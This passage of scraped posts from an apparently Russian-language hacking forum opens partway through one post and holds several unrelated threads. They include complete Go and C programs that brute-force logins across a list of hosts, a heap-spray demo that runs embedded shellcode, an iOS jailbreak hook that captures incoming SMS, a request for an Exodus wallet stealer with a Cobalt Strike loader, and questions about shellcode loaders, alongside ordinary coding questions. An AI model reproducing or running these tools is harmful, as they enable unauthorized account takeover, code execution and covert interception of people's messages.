        hosts, err := readFile("hosts.txt")
        if err != nil {
            fmt.Println("Ошибка при чтении hosts.txt:", err)
            return
        }
   
        logins, err := readFile("login.txt")
        if err != nil {
            fmt.Println("Ошибка при чтении login.txt:", err)
            return
        }
   
        passwords, err := readFile("password.txt")
        if err != nil {
            fmt.Println("Ошибка при чтении password.txt:", err)
            return
        }
   
        go logAttemptsPerMinute()
   
        sem := make(chan struct{}, 3)
   
   
        for _, host := range hosts {
            wg.Add(1)
            go attemptLoginForHost(host, logins, passwords, sem)
        }
   
        wg.Wait()
    }
  1. Глобальная переменная для подсчета попыток авторизации, а также мьютекс для работы с ресурсами, которые могут быть заняты горутинами. WaitGroup для ожидания завершения всех горутин.
  2. Функция для попытки логина. Она получает хост в виде либо URL, либо адреса. В заголовках передаем только Content-Type.
  3. Функция для чтения файла в срез строк.
  4. Функция для добавления текста в файл. Она использует мьютексы для синхронизации горутин.
  5. Функция для записи количества попыток в файл. Это бесконечный цикл, который выполняется каждую минуту. Внутри цикла функция ждет 60 секунд. Блокирует доступ к переменной attemptCount с помощью мьютекса, чтобы безопасно получить текущее количество попыток. Записывает это количество в файл и сбрасывает счетчик попыток, устанавливая attemptCount = 0. Повторяет процесс.
  6. Функция для проверки наличия "status":1 в теле ответа.
  7. Функция для попытки логина для конкретного хоста и списка логинов и паролей. Записываем в файл, что начали попытки на данном хосте. Перебираем все логины и пароли. Если найдено соответствие с "status":1, считаем, что пароль найден, и увеличиваем счетчик попыток.
  8. В main функции сначала происходит чтение файлов. Затем запускаем горутину для записи попыток в файл каждую минуту. Ограничение на количество горутин реализовано с помощью семафора. Ждем завершения всех горутин, блокируя главный поток до тех пор, пока все горутины не завершатся.

На трёх горутинах количество запросов в минуту составило около 600. Понятно, что это будет зависеть от железа, но для понимания у меня получилось примерно такое число.

Реализация на Си

Переходим к написанию брутфорса на Си. Это новый язык для меня, поэтому код может быть не максимально оптимизирован, и, вероятно, существует более грамотная реализация. В сути многопоточности Си выступают системные потоки и их синхронизация. Итак, получилось как-то так:

C:Copy to clipboard

#include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <pthread.h>
    #include <curl/curl.h>
    #include <unistd.h>
   
    // 1
    #define MAX_LINE_LENGTH 1024
    #define MAX_HOSTS 100
    #define MAX_LOGINS 100
    #define MAX_PASSWORDS 100
   
    // 2
    pthread_mutex_t mu = PTHREAD_MUTEX_INITIALIZER;
    int attemptCount = 0;
    pthread_mutex_t logFileMutex = PTHREAD_MUTEX_INITIALIZER;
   
    // 3
    void logToFile(const char* fileName, const char* logMessage) {
        pthread_mutex_lock(&logFileMutex);
   
        FILE* file = fopen(fileName, "a");
        if (file) {
            fprintf(file, "%s\n", logMessage);
            fclose(file);
        } else {
            perror("Ошибка при записи в файл логов");
        }
   
        pthread_mutex_unlock(&logFileMutex);
    }
   
    // 4
    char** readFile(const char* fileName, int* count) {
        FILE* file = fopen(fileName, "r");
        if (!file) {
            char errorMessage[MAX_LINE_LENGTH];
            snprintf(errorMessage, sizeof(errorMessage), "Ошибка при открытии файла: %s", fileName);
            logToFile("debug_log.txt", errorMessage);
            return NULL;
        }
   
        char** lines = malloc(MAX_LINE_LENGTH * sizeof(char*));
        char buffer[MAX_LINE_LENGTH];
        int index = 0;
   
        while (fgets(buffer, sizeof(buffer), file)) {
            buffer[strcspn(buffer, "\n")] = '\0';
            lines[index] = strdup(buffer);
            index++;
        }
   
        fclose(file);
        *count = index;
   
        char logMessage[MAX_LINE_LENGTH];
        snprintf(logMessage, sizeof(logMessage), "Файл %s успешно прочитан, количество строк: %d", fileName, *count);
        logToFile("debug_log.txt", logMessage);
   
        return lines;
    }
   
    // 5
    void appendToFile(const char* fileName, const char* text) {
        pthread_mutex_lock(&logFileMutex);
   
        FILE* file = fopen(fileName, "a");
        if (file) {
            fprintf(file, "%s\n", text);
            fclose(file);
        } else {
            perror("Ошибка при записи в файл");
        }
   
        pthread_mutex_unlock(&logFileMutex);
    }
   
    // 6
    void* logAttemptsPerMinute(void* arg) {
        while (1) {
            sleep(60);
            pthread_mutex_lock(&mu);
            int currentCount = attemptCount;
            attemptCount = 0;
            pthread_mutex_unlock(&mu);
   
            char logMessage[MAX_LINE_LENGTH];
            snprintf(logMessage, sizeof(logMessage), "Попыток за последнюю минуту: %d", currentCount);
            appendToFile("attempts_log.txt", logMessage);
        }
        return NULL;
    }
   
    // 7
    size_t writeCallback(void* contents, size_t size, size_t nmemb, void* userp) {
        strncat((char*)userp, (char*)contents, size * nmemb);
        return size * nmemb;
    }
   
    // 8
    int containsStatusOne(const char* response) {
        return strstr(response, "\"status\":1") != NULL;
     }
   
    // 9
    void* attemptLoginForHost(void* args) {
        char** data = (char**)args;
        char* host = data[0];
        char** logins = (char**)data[1];
        char** passwords = (char**)data[2];
        int loginCount = atoi(data[3]);
        int passwordCount = atoi(data[4]);
   
        CURL* curl = curl_easy_init();
        if (!curl) {
            char errorMessage[MAX_LINE_LENGTH];
            snprintf(errorMessage, sizeof(errorMessage), "Ошибка инициализации CURL для хоста: %s", host);
            logToFile("debug_log.txt", errorMessage);
            return NULL;
        }
   
        char hostCopy[MAX_LINE_LENGTH];
        snprintf(hostCopy, sizeof(hostCopy), "%s", host);
        hostCopy[strcspn(hostCopy, "\r\n")] = '\0';
   
        for (int i = 0; i < loginCount; i++) {
            for (int j = 0; j < passwordCount; j++) {
                char logMessage[MAX_LINE_LENGTH];
                snprintf(logMessage, sizeof(logMessage), "Пробуем логин: %s, пароль: %s на хосте: %s", logins[i], passwords[j], hostCopy);
                logToFile("debug_log.txt", logMessage);
   
                char* encodedLogin = curl_easy_escape(curl, logins[i], 0);
                char* encodedPassword = curl_easy_escape(curl, passwords[j], 0);
   
                char url[MAX_LINE_LENGTH];
                snprintf(url, sizeof(url), "%s/login/?login_only=1", hostCopy);
   
                char postData[MAX_LINE_LENGTH];
                snprintf(postData, sizeof(postData), "user=%s&pass=%s", encodedLogin, encodedPassword);
                curl_free(encodedLogin);
                curl_free(encodedPassword);
   
                char responseBuffer[MAX_LINE_LENGTH] = {0};
                curl_easy_setopt(curl, CURLOPT_URL, url);
                curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
                curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writeCallback);
                curl_easy_setopt(curl, CURLOPT_WRITEDATA, responseBuffer);
                curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L);
   
                CURLcode res = curl_easy_perform(curl);
                if (res != CURLE_OK) {
                    snprintf(logMessage, sizeof(logMessage), "Ошибка запроса для хоста %s: %s", hostCopy, curl_easy_strerror(res));
                    logToFile("debug_log.txt", logMessage);
                    continue;
                }
   
                snprintf(logMessage, sizeof(logMessage), "Ответ от сервера для хоста %s: %s", hostCopy, responseBuffer);
                logToFile("debug_log.txt", logMessage);
   
                if (containsStatusOne(responseBuffer)) {
                    char result[MAX_LINE_LENGTH];
                    snprintf(result, sizeof(result), "Хост: %s, Логин: %s, Пароль: %s", hostCopy, logins[i], passwords[j]);
                    appendToFile("results.txt", result);
   
                    snprintf(logMessage, sizeof(logMessage), "Результат найден: %s", result);
                    logToFile("debug_log.txt", logMessage);
                }
   
                pthread_mutex_lock(&mu);
                attemptCount++;
                pthread_mutex_unlock(&mu);
            }
        }
   
        curl_easy_cleanup(curl);
        return NULL;
    }
   
    // 10
    int main() {
        int hostCount, loginCount, passwordCount;
        char** hosts = readFile("hosts.txt", &hostCount);
        char** logins = readFile("login.txt", &loginCount);
        char** passwords = readFile("password.txt", &passwordCount);
   
        if (!hosts || !logins || !passwords) {
            logToFile("debug_log.txt", "Ошибка при чтении файлов");
            return 1;
        }
   
        pthread_t loggerThread;
        pthread_create(&loggerThread, NULL, logAttemptsPerMinute, NULL);
   
        pthread_t threads[MAX_HOSTS];
        for (int i = 0; i < hostCount; i++) {
            char** args = malloc(5 * sizeof(char*));
            args[0] = strdup(hosts[i]);
            args[1] = (char*)logins;
            args[2] = (char*)passwords;
            args[3] = malloc(10);
            args[4] = malloc(10);
            snprintf(args[3], 10, "%d", loginCount);
            snprintf(args[4], 10, "%d", passwordCount);
   
            pthread_create(&threads[i], NULL, attemptLoginForHost, (void*)args);
        }
   
        for (int i = 0; i < hostCount; i++) {
            pthread_join(threads[i], NULL);
        }
   
        pthread_cancel(loggerThread);
   
        for (int i = 0; i < hostCount; i++) free(hosts[i]);
        for (int i = 0; i < loginCount; i++) free(logins[i]);
        for (int i = 0; i < passwordCount; i++) free(passwords[i]);
        free(hosts);
        free(logins);
        free(passwords);
   
        return 0;
    }
  1. Определяем константы для работы с памятью. Первая константа определяет максимальную длину одной строки, которая может быть прочитана из файлов. Это означает, что каждый хост, логин, пароль или любая строка, прочитанная из файла, будет ограничена 1024 символами. Если бы не было ограничения на длину строк, возможны были бы ошибки переполнения буфера. В Си нет динамических массивов, но есть возможность расширять память по мере необходимости работы программы. Также мы ограничиваем максимальное количество хостов, логинов и паролей.
  2. Для работы с потоками используется библиотека pthread. Концепция мьютексов в Go была заимствована из Си. Переменная инициализируется значением PTHREAD_MUTEX_INITIALIZER. Это стандартный способ инициализации мьютекса. Также объявляется переменная для подсчета количества попыток логина. Создаётся ещё один мьютекс — logFileMutex, который используется для синхронизации доступа к лог-файлам.
  3. Функция для записи данных в лог-файл. Все те же мьютексы для синхронизации. Функция fopen открывает файл с именем fileName в режиме "a", что означает "добавить в конец файла". Если файл не существует, fopen попытается его создать. Важно не оставлять файлы открытыми, так как это может привести к утечке ресурсов.
  4. Функция отвечает за чтение строк из файла и возврат этих строк в виде массива строк, а также запись в лог-файл количества строк и статуса операции. В данной функции используется указатель на указатель, потому что функция должна вернуть массив строк (каждая строка — это указатель на char, а массив этих строк — это указатель на указатели на char). В функции мы открываем файл для чтения, обрабатываем и логируем потенциальные ошибки, читаем файл построчно.
  5. Функция для записи строк в файл.
  6. Функция для отслеживания количества попыток за последнюю минуту.
  7. Коллбек-функция для обработки данных, полученных от HTTP-запроса через библиотеку libcurl. Она вызывается каждый раз, когда получены данные от сервера.
  8. Функция проверяет, содержит ли строка ответа сервера подстроку "status":1.
  9. Функция для авторизации. Она принимает параметр args типа void*, который затем преобразуется в массив строк. Создаётся объект curl. Используется strcspn, чтобы удалить символы новой строки (если они есть). На дебаг этого у меня ушло определённое время. Проходим двумя циклами по логинам и паролям. Логин и пароль кодируются в URL-формате с помощью curl_easy_escape. Формируется строка URL для запроса и тело POST-запроса. В конце освобождаются ресурсы, связанные с закодированными строками логина и пароля. Выполняется запрос с помощью curl_easy_perform. Записывается в лог ответ от сервера для данного хоста.
  10. Главная функция — загружаем данные из файлов и возвращаем их в виде массивов строк. Для каждого хоста создается отдельный поток, который выполняет попытки авторизации с использованием всех комбинаций логинов и паролей. Основной поток ожидает завершения всех потоков с попытками авторизации. По завершению работы программа отменяет поток логирования и освобождает выделенную память.

Наконец, количество итераций в минуту на трёх хостах составило около 900! Это больше, чем на аналогичном коде на Go. Возможно, дело в оптимизациях или в том, что горутины не такие легковесные. В любом случае, Си даёт больше возможностей.

Трям! Пока!

C++ препроцессинг
ID: 6765d804b4103b69df3758d7
Thread ID: 65225
Created: 2022-04-04T22:56:25+0000
Last Post: 2022-04-05T06:40:45+0000
Author: awaken1337
Replies: 1 Views: 224

Как использовать препроцессинг без включённой оптимизации?
Вроде бы boost библиотека позволяет, может кто знает как это сделать?
constexpr бесполезно без оптимизации

Нужно препроцессить функцию аля

Code:Copy to clipboard

constexpr DWORD Process(DWORD dwNum)
{
     DWORD dwResult = 0;
     for (int i = 0; i < dwNum; i++)
     {
           if (dwResult % 2)
           {
                dwResult++;
           }
     }
     return dwResult;
}
heap spray stonks
ID: 6765d804b4103b69df375720
Thread ID: 111548
Created: 2024-03-29T18:49:21+0000
Last Post: 2024-03-29T18:49:21+0000
Author: salsa20
Replies: 0 Views: 223

1711737442950.png
тык

1711737861836.png

вуаля
1711737881938.png
Сам код для вызова калькулятора

C++:Copy to clipboard

#include "stdafx.h"
#include "windows.h"
#include <iostream>

using namespace std;

void print_content(int memaddress)
{
    int* pcontent = (int*)memaddress;
    int content = *pcontent;
    printf(">> Contents at 0x%08x: %08x\n", memaddress, content);
}

void my_strcpy(char* dest, const char* src)
{
    while ((*dest++ = *src++))
        ;
}

void my_strcat(char* dest, const char* src)
{
    while (*dest)
        dest++;
    while ((*dest++ = *src++))
        ;
}

void my_strncat(char* dest, const char* src, size_t n)
{
    while (*dest)
        dest++;
    for (size_t i = 0; i < n && *src != '\0'; ++i)
    {
        *dest++ = *src++;
    }
    *dest = '\0';
}

int main()
{
    HANDLE hChunk;
    HANDLE hDefaultHeap;

    unsigned char shellcode[] = {
        0xD9, 0xCB, 0xBE, 0xB9, 0x23, 0x67, 0x31, 0xD9, 0x74, 0x24, 0xF4, 0x5A, 0x29, 0xC9, 0xB1, 0x13,
        0x31, 0x72, 0x19, 0x83, 0xC2, 0x04, 0x03, 0x72, 0x15, 0x5B, 0xD6, 0x56, 0xE3, 0xC9, 0x71, 0xFA,
        0x62, 0x81, 0xE2, 0x75, 0x82, 0x0B, 0xB3, 0xE1, 0xC0, 0xD9, 0x0B, 0x61, 0xA0, 0x11, 0xE7, 0x03,
        0x41, 0x84, 0x7C, 0xDB, 0xD2, 0xA8, 0x9A, 0x97, 0xBA, 0x68, 0x10, 0xFB, 0x5B, 0xE8, 0xAD, 0x70,
        0x7B, 0x28, 0xB3, 0x86, 0x08, 0x64, 0xAC, 0x52, 0x0E, 0x8D, 0xDD, 0x2D, 0x3C, 0x3C, 0xA0, 0xFC,
        0xBC, 0x82, 0x23, 0xA8, 0xD7, 0x94, 0x6E, 0x23, 0xD9, 0xE3, 0x05, 0xD4, 0x05, 0xF2, 0x1B, 0xE9,
        0x09, 0x5A, 0x1C, 0x39, 0xBD
    };

    hDefaultHeap = GetProcessHeap();

    printf("Default process heap found at 0x%p\n", hDefaultHeap);
    printf("Press a key to start...\n");
    cin.ignore();

    char junkstr[0xbc5]; // 0xbc4 + 1 for null terminator
    char smallstr[0x1001]; // 0x1000 + 1 for null terminator
    char largestr[0x40001]; // 0x40000 + 1 for null terminator

    memset(junkstr, 0x20, sizeof(junkstr)); // Use sizeof(junkstr) to ensure null terminator is set correctly
    junkstr[sizeof(junkstr) - 1] = '\0'; // Null-terminate junkstr

    my_strcpy(smallstr, junkstr); // Copy junkstr into smallstr
    my_strcat(smallstr, (const char*)shellcode); // Concatenate shellcode to smallstr

    while (strlen(smallstr) < 0x1000)
    {
        my_strncat(smallstr, "\x20", 1); // Use my_strncat for safety
    }

    while (strlen(largestr) < 0x40000)
    {
        my_strncat(largestr, smallstr, sizeof(smallstr)); // Use my_strncat for safety
    }

    for (int i = 1; i <= 0x500; i++)
    {
        hChunk = HeapAlloc(hDefaultHeap, 0, 0x40000 - 8);
        memcpy(hChunk, largestr, 0x40000 - 8);
    }

    // Add read, write, and execute permissions to the memory at the address
    DWORD oldProtect;
    if (!VirtualProtect((LPVOID)0x0c0c0c0c, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect)) {
        std::cerr << "Error: VirtualProtect failed" << std::endl;
        return 1;
    }

    printf("Spray done, check 0x0c0c0c0c\n");
    // Pointer to function with no arguments and no return value
    typedef void (*ShellcodeFunction)();
    ShellcodeFunction shellcode_function = (ShellcodeFunction)0x0c0c0c0c;
    // Execute the shellcode
    shellcode_function();

    return 0;
}

Получается техника достаточна жива, чтобы шеллкод юзать.

По адресу 0x0c0c0c0c будет записанный шеллкод.

Moneta detect

1711737965320.png
1711738050946.png

ida pro hex-rays

1711738461932.png

Как работает heap spray можете почитать тут https://pastebin.pl/view/d8155ba9

этот мой перевод статьи <https://www.corelan.be/index.php/2016/07/05/windows-10-x86wow64-userland- heap/>

IOS: SMS text message forwarding plug-in development
ID: 6765d804b4103b69df375752
Thread ID: 105257
Created: 2024-01-07T04:36:28+0000
Last Post: 2024-01-07T04:38:32+0000
Author: boxilai
Replies: 1 Views: 223

1. Tools
mac system
Jailbroken iOS device: unpacking and frida debugging
IDA Pro: Static Analysis
Test device: iphone6-ios12.5.5

Corresponding configuration directory:

/Library/LaunchAgents: Administrator controls agents for specific users

/Library/LaunchDaemons: System-level daemons provided by the administrator (cydia, filza, frida, etc. are here)

/System/Library/LaunchDaemons: The default daemon process provided by iOS

Use the file management tool on the iPhone to view the key information of the /System/Library/LaunchDaemons/com.apple.imagent file as follows:

Code:Copy to clipboard

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>EnvironmentVariables</key>
    <dict>
        <key>NSRunningFromLaunchd</key>
        <string>1</string>
    </dict>
    <key>ProgramArguments</key>
    <array>
        <string>/System/Library/PrivateFrameworks/IMCore.framework/imagent.app/imagent</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
</dict>
</plist>

The path corresponding to ProgramArguments is the binary file executed by the process. After executing frida-trace -U -m "[IM *]" imagent -o a.log, the log after the phone receives the text message is as follows:

Code:Copy to clipboard

-[SMSServiceSession smsMessageReceived:0x10524abc0 msgID:0x80000006]
-[SMSServiceSession _processSMSorMMSMessageReceivedWithContext:0x10524abc0 messageID:0x80000006]
+[IMMetricsCollector sharedInstance]
-[IMMetricsCollector trackEvent:0x1d02ab1e8]
-[SMSServiceSession _convertCTMessageToDictionary:0x109a0e510 requiresUpload:0x16f832c2f]
-[IMMetricsCollector _trackEvent:0x1d02ab1e8]
-[SMSServiceSession _fixIncomingDate:0xd13d420d70d597e6]
-[SMSServiceSession shouldFixIncomingDate]
-[SMSServiceSession _myCTPhoneNumber]
+[IMCTSubscriptionUtilities sharedInstance]
-[IMCTSubscriptionUtilities deviceSupportsMultipleSubscriptions]
+[IMCTSubscriptionUtilities sharedInstance]
-[IMCTSubscriptionUtilities deviceSupportsMultipleSubscriptions]
+[IMCTSMSUtilities IMMMSEmailAddressToMatchForPhoneNumber:0x100830240 simID:0x0]
+[IMCTSubscriptionUtilities sharedInstance]
-[IMCTSubscriptionUtilities deviceSupportsMultipleSubscriptions]
-[SMSServiceSession _convertCTMessagePartToDictionary:0x109a28610]
-[SMSServiceSession _shouldUploadToMMCS:0x10524aca0]
-[SMSServiceSession _receivedSMSDictionary:0x10524aca0 requiresUpload:0x0 isBeingReplayed:0x0]
-[SMSServiceSession _processReceivedDictionary:0x10524aca0 storageContext:0x0]
+[IMMessageNotificationTimeManager sharedInstance]
-[IMMessageNotificationTimeManager acquireAssertionToUnsuspendProcess]
+[IMLockdownManager sharedInstance]
-[IMLockdownManager isInternalInstall]
-[IMLockdownManager _calculateInstallType]
-[IMMessageItem initWithSender:0x100890210 time:0x1008831d0 body:0x10083ba80 attributes:0x0 fileTransferGUIDs:0x1007081d0 flags:0x1 error:0x0 guid:0x10524acc0]
-[IMMessageItem initWithSender:0x100890210 time:0x1008831d0 body:0x10083ba80 attributes:0x0 fileTransferGUIDs:0x1007081d0 flags:0x1 error:0x0 guid:0x10524acc0 type:0x0]
-[IMMessageItem initWithSenderInfo:0x10085c330 time:0x1008831d0 timeRead:0x0 timeDelivered:0x0 timePlayed:0x0 subject:0x0 body:0x10083ba80 bodyData:0x0 attributes:0x0 fileTransferGUIDs:0x1007081d0 flags:0x1 guid:0x10524acc0 messageID:0x0 account:0x0 accountID:0x0 service:0x0 handle:0x0 roomName:0x0 unformattedID:0x0 countryCode:0x0 expireState:0x0 balloonBundleID:0x0 payloadData:0x0 expressiveSendStyleID:0x0 timeExpressiveSendPlayed:0x0 bizIntent:0x0 locale:0x0 errorType:0x0 type:0x0]
-[IMItem initWithSenderInfo:0x10085c330 time:0x1008831d0 guid:0x10524acc0 messageID:0x0 account:0x0 accountID:0x0 service:0x0 handle:0x0 roomName:0x0 unformattedID:0x0 countryCode:0x0 type:0x0]
-[IMItem setSenderInfo:0x10085c330]

According to the log, we can see the key function -[SMSServiceSession smsMessageReceived:0x10524abc0 msgID:0x80000006]. Use the command frida-trace -U -m "-[SMSServiceSession smsMessageReceived:msgID:]" imagent to trace this function. The js code is as follows:

Code:Copy to clipboard

{
  onEnter(log, args, state) {
    log(`-[SMSServiceSession smsMessageReceived:${ObjC.Object(args[2])} msgID:${args[3]}]`);
  },
  onLeave(log, retval, state) {
  }
}

When the mobile phone receives a text message, the corresponding log output is as follows:

Code:Copy to clipboard

-[SMSServiceSession smsMessageReceived:<CTXPCServiceSubscriptionContext 0x10bfd1240 slotID=CTSubscriptionSlotOne, uuid=00000000-0000-0000-0000-000000000001, labelID="90D990CE-3484-4310-9F39-49A66EB80541", label="USER_LABEL_PRIMARY", phoneNumber="+861812186xxxx", userDataPreferred=1, userDefaultVoice=1> msgID:0x80000010]

According to the log information, this method does not contain the SMS and sender-related information we need except msgID. Then we continue to look down in the order of the log, -[SMSServiceSession _convertCTMessageToDictionary:requiresUpload:] This function looks more friendly. Trace the function and get the log as follows:

Code:Copy to clipboard

-[SMSServiceSession _convertCTMessageToDictionary:<[CTMessageAddress: 189xxxxxx/TYPE=PLMN]
    [Recipients: (
)]
    [Items: (
    "<CTMessagePart: 0x10be7f340>"
)]
    [Raw Headers: (null)]
    [Date: 2023-07-30 14:43:23 +0000]
    [message ID: -2147483630]
    [message Type: 1]
    [service center: (null)]
    [Content-type: (null)]
    [Content-type params: {
}]
    [replace message: 0]
 requiresUpload:0x16edaec2f]
-[SMSServiceSession _convertCTMessageToDictionary:requiresUpload:]={
    co = "+86181xxxxxx";
    g = "00ECAC3B-0790-8674-CAD5-58DD07F4DEBA";
    h = 189xxxxxx;
    k =     (
                {
            data = <e58fa6>;
            type = "text/plain";
        }
    );
    l = 0;
    m = sms;
    n = 460;
    re =     (
    );
    sV = 1;
    w = "2023-07-30 14:43:25 +0000";
}}=

It can be seen from the log. This method is the hook method we want, recipient: co, sender: h, text message content: k

The source code is as follows:

Code:Copy to clipboard

#import <Foundation/Foundation.h>
#import "CaptainHook/CaptainHook.h"

@interface SMSServiceSession

@end

@interface IMDService

-(void)loadServiceBundle;
@property (nonatomic,retain,readonly) NSBundle * bundle;

@end

CHDeclareClass(SMSServiceSession); // declare class
CHOptimizedMethod2(self, id, SMSServiceSession, _convertCTMessageToDictionary, NSDictionary *, arg1, requiresUpload, BOOL*, arg2) {
    id result = CHSuper2(SMSServiceSession, _convertCTMessageToDictionary, arg1, requiresUpload, arg2);

    @try {
        NSString *from = result[@"h"];
        NSString *to = result[@"co"];
        NSArray *msgList = result[@"k"];
        if (msgList.count > 0) {
            NSData *data = msgList[0][@"data"];
            NSString *content = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
            NSLog(@"witwit =from %@=to %@=content %@=",from, to, content);
        } else {
            NSLog(@"witwit =sms为空=");
        }
    } @catch (NSException *exception) {
        NSLog(@"witwit =SMSServiceSession _convertCTMessageToDictionary=err=%@=", exception);

    } @finally {

    }

    return result;
}

CHDeclareClass(IMDService)
CHOptimizedMethod0(self, void, IMDService, loadServiceBundle) {

    CHSuper0(IMDService, loadServiceBundle);
    NSString *bundleId = [[self bundle] bundleIdentifier];
    NSLog(@"witwit =IMDService loadServiceBundle=%@=", bundleId);

    if ([bundleId isEqualToString:@"com.apple.imservice.sms"]) {
        CHLoadLateClass(SMSServiceSession);
        CHHook2(SMSServiceSession, _convertCTMessageToDictionary, requiresUpload);
    }
}

CHConstructor // code block that runs immediately upon load
{
    @autoreleasepool
    {
        NSLog(@"witwit SMSForward load success");

        CHLoadLateClass(IMDService);
        CHHook0(IMDService, loadServiceBundle);
    }
}

The info.plist file is configured as follows:

Code:Copy to clipboard

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Filter</key>
    <dict>
        <key>Bundles</key>
        <array>
            <string>com.apple.imagent</string>
        </array>
    </dict>
</dict>
</plist>

After the plug-in installation is completed. Please restart imagent:

Code:Copy to clipboard

launchctl unload /System/Library/LaunchDaemons/com.apple.imagent.plist
launchctl load /System/Library/LaunchDaemons/com.apple.imagent.plist
Ручная модификация таблицы экспорта
ID: 6765d804b4103b69df3757de
Thread ID: 89264
Created: 2023-05-30T11:23:43+0000
Last Post: 2023-05-30T14:21:51+0000
Author: coree
Replies: 3 Views: 222

Всем доброго дня. Сейчас появился вопрос, можно как то модифицировать таблицу экспорта на этапе компиляции? С помощь директив каких нибудь (#pragma, etc...). Вот знаю что с секциями такое возможно, а с экспортом никогда не сталкивался.

how to read full file WINAPI
ID: 6765d804b4103b69df37596f
Thread ID: 56661
Created: 2021-09-14T09:17:59+0000
Last Post: 2021-09-14T09:46:47+0000
Author: scrim
Replies: 4 Views: 222

hello, ive been trying to read a whole file with ReadFile() function. but how do i know how large the buffer needs to be? is there any way to calculate that?

example:

C:Copy to clipboard

ReadFile(hFile, fileBuffer, BUFFERSIZE, &dwRead, 0);
Проблема с memcpy
ID: 6765d804b4103b69df3758a7
Thread ID: 70455
Created: 2022-07-21T15:22:04+0000
Last Post: 2022-07-21T22:04:01+0000
Author: n0kkster
Replies: 3 Views: 221

Всем привет, решил переписать LoadPE от одного хорошего человека так, чтобы можно было перевести в шеллкод и все работало. Как альтернативу встроенному memcpy юзаю самописный с тем же функционалом. Однако загвоздка в том, что я вызываю свою memcpy 2 раза - все ок, вызываю третий раз - компилятор дает ошибку "неразрешенный внешний символ _memcpy". Подскажите, как быть?

C++:Copy to clipboard

void* MyMemcpy(void* dest, const void* src, size_t bytes)
    {
        byte* cdest = (byte*)dest;
        const byte* csrc = (byte*)src;
        for (size_t i = 0; i < bytes; ++i) *cdest++ = *csrc++;
        return dest;
    }

...
retadr = (unsigned long)pVirtualAlloc(0, PeHeader.OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

                if (retadr) // если память выделилась
                {
                    // скопируем туда DOS заголовок
                    MyMemcpy((void*)retadr, &DosHeader, sizeof(IMAGE_DOS_HEADER));
                    // скопируем туда PE заголовок
                    MyMemcpy((void*)(retadr + DosHeader.e_lfanew), &PeHeader, sizeof(IMAGE_NT_HEADERS));
                    // ошибка возникает при использовании последующих MyMemcpy
                    // скопируем туда таблицу секций

                    MyMemcpy((void*)(retadr + DosHeader.e_lfanew + sizeof(IMAGE_NT_HEADERS)), &Section[0], sizeof(IMAGE_SECTION_HEADER) * PeHeader.FileHeader.NumberOfSections);
                    ...
                }

Spoiler: скрин1

1658416916555.png

Ошибка возникает при отключении оптимизации всей программы.

Spoiler: скрин2

1658424409750.png

c# help
ID: 6765d804b4103b69df375887
Thread ID: 73947
Created: 2022-10-04T17:57:51+0000
Last Post: 2022-10-07T16:25:33+0000
Author: linux7
Replies: 4 Views: 220

How can i fix this problem
I start software as admin
i changed authorization from TrustedInstaller to Admin authorization but not fixed

exodus wallet stealer username and password
ID: 6765d804b4103b69df375689
Thread ID: 128975
Created: 2024-12-15T10:48:04+0000
Last Post: 2024-12-15T10:48:04+0000
Author: jaber69
Replies: 0 Views: 219

most need source code to implant with work and trojan with cobalt strike shell loader like keylogger injection into exodus wallet

Симулятор игрального кубика на Arduino
ID: 6765d804b4103b69df375741
Thread ID: 107481
Created: 2024-02-04T17:33:33+0000
Last Post: 2024-02-05T02:34:09+0000
Author: Rufiq
Replies: 2 Views: 219

Домашнее задание: Программирование игрального кубика

Задание 1

Создайте проект на Arduino и добавьте макетную плату. С
помощью светодиодов отобразите все возможные комбинации, которые могут выпасть при подбрасывании игральных
костей (1, 2, 3, 4, 5, 6). Разместите на плате все возможные
комбинации. Каждая комбинация — это светодиоды определенного цвета, а количество светодиодов равно выпавшей
комбинации (если 1, то только 1 светодиод и так далее). Соедините их и запрограммируйте так, чтобы при нажатии на
кнопку выпадало случайное число от 1 до 6. Какое число выпало, те светодиоды и засветились.

Editing Components.png

syscall windows 7 (sp1) - STATUS_INVALID_PARAMETER
ID: 6765d804b4103b69df3758a6
Thread ID: 70627
Created: 2022-07-25T08:40:30+0000
Last Post: 2022-07-26T07:30:57+0000
Author: karelli
Replies: 7 Views: 219

Тестирование проходило на Windows XP (x86) и на Windows 7 SP1 (x86), на первом код отработал, на втором же возвращает STATUS_INVALID_PARAMETER. Я что-то делаю не так?

C++:Copy to clipboard

const unsigned char x86sc[] = {
    0xB8, 0xB3, 0x00, 0x00, 0x00, 0x33, 0xC9, 0x8D, 0x54, 0x24, 0x08, 0xCD, 0x2E, 0xC3
};
/* ->
mov eax, 0xB3 (NtOpenFile ID (WIN7 SP1))
xor ecx ecx
lea edx, dword ptr ss:[esp+8]
int 2E
ret
*/

HANDLE hFile = NULL;
IO_STATUS_BLOCK IoStatusBlock;
OBJECT_ATTRIBUTES FileObjectAttributes;
InitializeObjectAttributes(&FileObjectAttributes, &szPath, OBJ_CASE_INSENSITIVE, NULL, NULL);

NTSTATUS NtStatus = reinterpret_cast<NTSTATUS(__stdcall*)(...)>(x86sc)(&hFile, GENERIC_READ | SYNCHRONIZE, &FileObjectAttributes, &IoStatusBlock, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE);
// result = STATUS_INVALID_PARAMETER
введение в разработку программного обеспечения и концепции программирования
ID: 6765d804b4103b69df3758e0
Thread ID: 64607
Created: 2022-03-21T19:34:52+0000
Last Post: 2022-03-22T17:37:01+0000
Author: 0xc83736
Replies: 3 Views: 219

Что ж, я решил сделать пост, чтобы помочь людям, которые плохо знакомы с форумным программированием или плохо знакомы с программированием. Я часто вижу, как люди спрашивают, какой язык лучше, какой софт создать или просто иногда как сделать RAT без каких-либо предварительных знаний))

